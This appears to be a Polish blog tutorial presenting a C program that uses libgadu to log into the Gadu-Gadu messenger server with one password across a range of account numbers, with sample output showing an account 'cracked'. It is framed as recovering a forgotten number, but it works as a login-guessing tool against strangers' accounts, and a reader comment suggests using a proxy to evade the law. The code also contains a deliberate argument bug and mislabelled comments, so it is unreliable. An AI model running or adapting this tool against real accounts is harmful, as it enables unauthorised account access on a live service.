Libgadu #5 – Pomocy! Zapomniałem swojego numeru GG!

numer ggJasio chcąc napisać do Kasi anonimowe wyznanie miłosne na GG założył nowe konto z prostym hasłem do zapamiętania „jasio123„. Nasz Romeo napisał to co chciał. Następnego dnia w szkole dowiedział się, że Kasia jest bardzo szczęśliwa z powodu otrzymania tak miłej wiadomości. Dowiedział się także, że Kasia odpisała na ten numer, aby umówić się z tajemniczym wielbicielem.

Wszystko byłoby piękne, gdyby nie fakt, że Jasio zapomniał numeru z, którego wysłał wiadomość… Jako niepoprawny programista oraz hardkor postanowiłem pomóc Jasiowi i napisałem program, który nie łamie hasła, a numer GG!

Posiadamy takie informacje jak

  • Hasło – jasio123
  • Mniej-większy zakres liczbowy w, którym znajduje się numer – 10000/10010

I tyle w zupełności wystarczy, aby sprawdzić, czy jakiś numer z danego przedziału nie posiada zbyt słabego i oczywistego hasła. Zasada działania programu będzie więc całkiem prosta

  • Pobieramy od użytkownika dwa (w sumie trzy) parametry. Hasło, numer początkowy i numer końcowy.
  • W pętli for za wyrazenie_poczatkowe podstawiamy numer początkowy, a za wyrazenie_warunkowenumer końcowy.
  • Jeśli serwer nada nam sesje, czyli zaloguje nas to możemy się cieszyć. Nasze hasło pasuje do numeru z danego przedziału. Teraz możemy się nań zalogować 🙂
/*
Program ma za zadanie testowac podany
Przedzial numerow na podane haslo.
 
Program powstal dla tych,
Ktorzy pamietaja swoje haslo
Do komunikatora, ale nie
Pamietaja numeru, a
Jedynie przedzial ;-)
 
Zdarza sie takze, ze
Zapominamy dwie ostatnie cyfry,
Hasla do e-maila, aby
Przypomniec haslo z serwera
Takze zgubilismy :-)
 
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
 
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
 
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu :-)
 
int main(int argc, char **argv)
{
	struct gg_session *sess;
	struct gg_event *e;
	struct gg_login_params p;
 
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
	gg_debug_level = 255;
 
/*****************************************/
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 4) {
	fprintf(stderr, "uzycie: %s <numer poczatkowy> <numer koncowy> <testowane haslo>n", argv[0]);
	return 1;
}
 
/*
Deklarujemy testowany zakres
*/
int poczatek = atoi(argv[1]);
int koniec = atoi(argv[2]);
 
/*
Jesli wprowadzimy bledne dane dotyczace zakresu
wypluwamy info o bledzie i konczymy program
*/
if(poczatek>=koniec) {
	printf("Syntax Error n");
	return 1;
}
/*****************************************/
 
/*
Jazda ;D
*/
for(int numer=poczatek; numer<=koniec; ++numer) {
//Zwalniamy pamiec
	memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer
	p.uin = numer;
//Deklarujemy aktualnie testowane haslo, to samo co na poczatku
	p.password = argv[2];
 
/*
Jesli haslo sie nie zgadza
*/
	if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac/zakomentowac,
jesli chcemy wyswietlac informacje
o numerach, ktore nie przeszly testu
*/
		printf("Bashed: %d n -------------------- n", numer);
 
/*
Zwalnaimy pamiec
*/
		gg_free_session(sess);
	} else { //Jesli zgadlismy haslo drukujemy nalezacy do niego numerek i zamykamy program
			//Potem mozna ruszyc od nowa od numeru, ktory zlamalismy :-)
		printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
		return 1;
	}
 
/*
Zwalniamy pamiec
*/
	gg_logoff(sess);
	gg_free_session(sess);
}
 
	return 0; //zakonczenie programu
}

Przykład działania programu

komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brut brut.c -lgadu -std=c99
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut
uzycie: ./brut <numer poczatkowy> <numer koncowy> <testowane haslo>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut 10000 10010 jasio123
Bashed: 10000
——————–
Bashed: 10001
——————–
Bashed: 10002
——————–
Bashed: 10003
——————–
Bashed: 10004
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
komeniusz@cyber-jadro:~/libgadu/examples$

I proszę, numer Jasia to 10005 😉

UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.

4 thoughts on “Libgadu #5 – Pomocy! Zapomniałem swojego numeru GG!

  1. //Zwalniamy pamiec
    memset(&p, 0, sizeof(p));

    Mała nieścisłość, tutaj „rezerwujesz” pamięć, a nie ją zwalnaisz :>

  2. No dobra, tylko przydało by się to chyba zabezpieczyć np. przy pomocy nawet jakiegoś banalnego proxy bo to chyba łamanie prawa jest?

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *